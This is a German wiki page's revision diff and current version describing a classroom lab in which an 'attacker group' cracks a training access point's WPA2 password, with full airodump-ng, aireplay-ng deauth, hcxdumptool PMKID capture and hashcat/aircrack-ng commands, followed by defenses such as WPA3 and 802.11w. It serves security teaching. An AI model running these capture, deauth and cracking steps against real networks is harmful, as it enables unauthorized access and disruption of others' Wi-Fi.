Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
(Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung= == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst Crunch will now generate the follow…“)
 
Zeile 1: Zeile 1:
=PMKID-Angriff in der WLAN-Schulung=
+
=Szenario=
 +
;Diese Seite ist für die '''Angreifer-Gruppe'''. Ziel ist der Access Point <code>dd-xinux</code>, den die AP-Gruppe stellt (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
 +
;Es gibt zwei Wege zum Passwort:
 +
*'''Weg 1 – Handshake:''' funktioniert immer, braucht aber einen verbundenen Client und einen Deauth.
 +
*'''Weg 2 – PMKID:''' clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist.
 +
;Beide enden gleich: eine Datei im hashcat-Format, die per Wortliste geknackt wird.
  
== Vorbereitung ==
+
=Passwortliste generieren=
=Passwordliste generieren=
+
;Das AP-Passwort ist 8-stellig numerisch (<code>00001234</code>) — genau dafür bauen wir die Liste.
 
*crunch 8 8 0123456789 -o password.lst
 
*crunch 8 8 0123456789 -o password.lst
 
  Crunch will now generate the following amount of data: 900000000 bytes
 
  Crunch will now generate the following amount of data: 900000000 bytes
Zeile 15: Zeile 20:
 
<pre>
 
<pre>
 
PHY    Interface      Driver          Chipset
 
PHY    Interface      Driver          Chipset
phy0    wlan0          rtl8812au       Alfa AWUS036ACH
+
phy0    wlan0          rtl8192cu       Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
 
</pre>
 
</pre>
 +
;Wenn störende Prozesse angezeigt werden, diese "killen":
 +
*airmon-ng check kill
  
=Interface vorbereiten=
+
=Interface in Monitor-Modus=
*ip link set wlan0 down
+
*airmon-ng start wlan0
*iw dev wlan0 set type monitor
+
;Hinweis: Je nach Version heißt das Interface danach <code>wlan0mon</code>. In den folgenden Befehlen dann diesen Namen verwenden.
*ip link set wlan0 up
+
;Für Weg 2 (PMKID) ist das nicht zwingend — <code>hcxdumptool</code> schaltet die Karte selbst in den Monitor-Modus.
  
=PMKID-Sammlung starten=
+
=WLANs anzeigen=
*hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15
+
*airodump-ng wlan0
;läuft, bis man Strg+C drückt
+
;Wir suchen die '''BSSID''' und den '''Channel''' von <code>dd-xinux</code>.
 +
[[Datei:wlan0-1.png]]
 +
;Für Weg 1 suchen wir zusätzlich eine '''Station''', die mit <code>dd-xinux</code> verbunden ist.
 +
[[Datei:wlan0-2.png]]
  
=PMKID extrahieren=
+
=Weg 1: Handshake (funktioniert immer)=
*hcxpcapngtool -o pmkid.hash -E essidlist.txt pmkid.pcapng
+
==Handshake mitschneiden==
 +
*source data
 +
*airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0
 +
[[Datei:wlan0-3.png]]
 +
==Deauth senden (zweites Fenster)==
 +
;Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an.
 +
*source data
 +
*aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0
 +
18:40:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6
 +
.....
 +
18:57:44  Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs]
 +
;bis der Client rausfliegt und sich neu verbindet.
 +
==Handshake erhalten==
 +
;Oben rechts im airodump-Fenster erscheint "WPA handshake: <BSSIDAP>".
 +
[[Datei:wlan0-4.png]]
 +
;Der Handshake steckt im '''2. EAPOL-Frame''' (Client → AP) — dort sitzt die MIC, unser Vergleichswert.
  
=PMKID mit Hashcat knacken=
+
=Weg 2: PMKID (clientless)=
*hashcat -m 16800 pmkid.hash password.lst
+
;Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab.
 +
==PMKID abgreifen==
 +
*hcxdumptool -i wlan0 -w dump.pcapng
 +
;Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
 +
;Der PMKID steckt im '''1. EAPOL-Frame''' (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch.
 +
==In hashcat-Format wandeln==
 +
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 +
;Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.
  
=Beispielhafte Auswertung=
+
=Cracken=
*Laptop: ~1000 H/s
+
==Weg 1 – klassisch mit aircrack-ng==
*GPU (RTX 3080): bis 800000 H/s
+
*aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap
*Crack über GPU-Cluster oder Cloud möglich
+
[[Datei:wlan0-5.png]]
 +
==Beide Wege – modern mit hashcat (Mode 22000)==
 +
;Handshake ins 22000-Format wandeln:
 +
*hcxpcapngtool -o hs.hc22000 wlan-01.cap
 +
;Cracken (Handshake oder PMKID, gleiches Format):
 +
*hashcat -m 22000 hs.hc22000 password.lst
 +
*hashcat -m 22000 pmkid.hc22000 password.lst
 +
;Ergebnis ansehen:
 +
*hashcat -m 22000 pmkid.hc22000 --show
  
== AP-Konfiguration für PMKID-Test==
+
=Crack-Geschwindigkeiten=
=Garantiert PMKID-fähige hostapd.conf=
+
*Laptop schafft circa 1000 Keys pro Sekunde
<pre>
+
*Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
interface=wlan0
+
*Online-Rechenpower mieten
driver=nl80211
+
*Cluster aus mehreren Grafikkarten bauen
ssid=crackme
 
hw_mode=g
 
channel=6
 
country_code=DE
 
ieee80211n=1
 
auth_algs=1
 
wpa=2
 
wpa_key_mgmt=WPA-PSK
 
rsn_pairwise=CCMP
 
wpa_passphrase=Sommer2024
 
own_ip_addr=127.0.0.1
 
eap_server=0
 
</pre>
 
 
 
;Hinweis: hostapd bietet PMKID standardmäßig an, wenn ein Client verbunden war oder Roaming aktiviert ist.
 
 
 
== Fake-APs simulieren (für mehrere Gruppen)==
 
=Option 1: Mehrere Instanzen von hostapd (getrennte Interfaces notwendig)=
 
*cp hostapd.conf hostapd1.conf
 
*cp hostapd.conf hostapd2.conf
 
*Ändere SSID und channel in jeder Datei
 
 
 
Beispiel:
 
<pre>
 
ssid=crackme01
 
channel=1
 
</pre>
 
<pre>
 
ssid=crackme02
 
channel=6
 
</pre>
 
*hostapd -dd hostapd1.conf &
 
*hostapd -dd hostapd2.conf &
 
 
 
=Option 2: Einfacher Fake-AP mit create_ap (nur zu Demo-Zwecken)=
 
*apt install create-ap
 
*create_ap wlan0 eth0 crackme123 Sommer2024
 
 
 
;Wird nicht von allen PMKID-Tools erkannt, aber gut für Fake-Kulisse oder Captive Portals.
 
 
 
== Schülerübung: "Crack Me!" WLAN ==
 
=Zielsetzung=
 
* Schüler scannen Umgebung
 
* Erfassen PMKID mit hcxdumptool
 
* Cracken mit vorbereiteter Wordlist
 
 
 
=Beispiel-SSID und Passwort (nicht in Liste)=
 
*SSID: crackme
 
*Passwort: Sommer2024
 
 
 
=passende Wordlist (Ausschnitt)=
 
<pre>
 
hallo123
 
testtest
 
Sommer2023
 
Sommer2024
 
Winter2024
 
12345678
 
98765432
 
00001234
 
</pre>
 
 
 
=Cracken starten=
 
*hashcat -m 16800 pmkid.hash wordlist.txt
 
  
== Abschluss ==
+
=Warum ist das knackbar?=
=Diskussion=
+
;Das AP-Passwort <code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
* Warum klappt PMKID ohne Client?
+
;8 Zeichen '''gemischt''' (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 &asymp; 2,2&times;10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht '''beide''' Wege praktisch chancenlos.
* Welche APs sind verwundbar?
 
* Warum ist WPA3 hier sicherer?
 
  
=Weiterführende Tools=
+
=Verteidigung=
*Bettercap
+
*Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
*roguehostapd
+
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
*hostapd-wpe (für Enterprise-Angriffe)
+
*'''802.11w''' (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos.
*Captive-Portal-Frameworks: WiFiPhisher, Fluxion
 
  
=Videos=
+
=Video=
*[https://www.youtube.com/watch?v=dvmrQ0CzCy4 PMKID Angriff mit hcxdumptool]
+
*https://www.youtube.com/watch?v=vnLfCtpANvI
*[https://www.youtube.com/watch?v=vnLfCtpANvI WPA Handshake Crack]
 
  
 
=Links=
 
=Links=
*[https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 Cracking WPA-PMKID with Hashcat]
+
*https://github.com/ZerBea/hcxdumptool
*[https://github.com/ZerBea/hcxdumptool hcxdumptool GitHub]
+
*https://www.kali.org/tools/hcxtools/
*[https://github.com/ZerBea/hcxtools hcxtools GitHub]
+
*https://hashcat.net/forum/thread-7717.html

Version vom 14. August 2026, 12:57 Uhr

Szenario

Diese Seite ist für die Angreifer-Gruppe. Ziel ist der Access Point dd-xinux, den die AP-Gruppe stellt (siehe Access Point aufsetzen).
Es gibt zwei Wege zum Passwort
  • Weg 1 – Handshake: funktioniert immer, braucht aber einen verbundenen Client und einen Deauth.
  • Weg 2 – PMKID: clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist.
Beide enden gleich
eine Datei im hashcat-Format, die per Wortliste geknackt wird.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

Störende Dienste stoppen

  • systemctl stop avahi-daemon
  • systemctl stop NetworkManager

Interface suchen

  • airmon-ng
PHY     Interface       Driver          Chipset
phy0    wlan0           rtl8192cu       Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
Wenn störende Prozesse angezeigt werden, diese "killen"
  • airmon-ng check kill

Interface in Monitor-Modus

  • airmon-ng start wlan0
Hinweis
Je nach Version heißt das Interface danach wlan0mon. In den folgenden Befehlen dann diesen Namen verwenden.
Für Weg 2 (PMKID) ist das nicht zwingend — hcxdumptool schaltet die Karte selbst in den Monitor-Modus.

WLANs anzeigen

  • airodump-ng wlan0
Wir suchen die BSSID und den Channel von dd-xinux.

Wlan0-1.png

Für Weg 1 suchen wir zusätzlich eine Station, die mit dd-xinux verbunden ist.

Wlan0-2.png

Weg 1: Handshake (funktioniert immer)

Handshake mitschneiden

  • source data
  • airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0

Wlan0-3.png

Deauth senden (zweites Fenster)

Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an.
  • source data
  • aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0
18:40:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6
.....
18:57:44  Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs]
bis der Client rausfliegt und sich neu verbindet.

Handshake erhalten

Oben rechts im airodump-Fenster erscheint "WPA handshake
<BSSIDAP>".

Wlan0-4.png

Der Handshake steckt im 2. EAPOL-Frame (Client → AP) — dort sitzt die MIC, unser Vergleichswert.

Weg 2: PMKID (clientless)

Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab.

PMKID abgreifen

  • hcxdumptool -i wlan0 -w dump.pcapng
Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal hcxdumptool -h prüfen.
Der PMKID steckt im 1. EAPOL-Frame (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.

Cracken

Weg 1 – klassisch mit aircrack-ng

  • aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap

Wlan0-5.png

Beide Wege – modern mit hashcat (Mode 22000)

Handshake ins 22000-Format wandeln
  • hcxpcapngtool -o hs.hc22000 wlan-01.cap
Cracken (Handshake oder PMKID, gleiches Format)
  • hashcat -m 22000 hs.hc22000 password.lst
  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

Das AP-Passwort 00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 ≈ 2,2×10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht beide Wege praktisch chancenlos.

Verteidigung

  • Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
  • 802.11w (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos.

Video

Links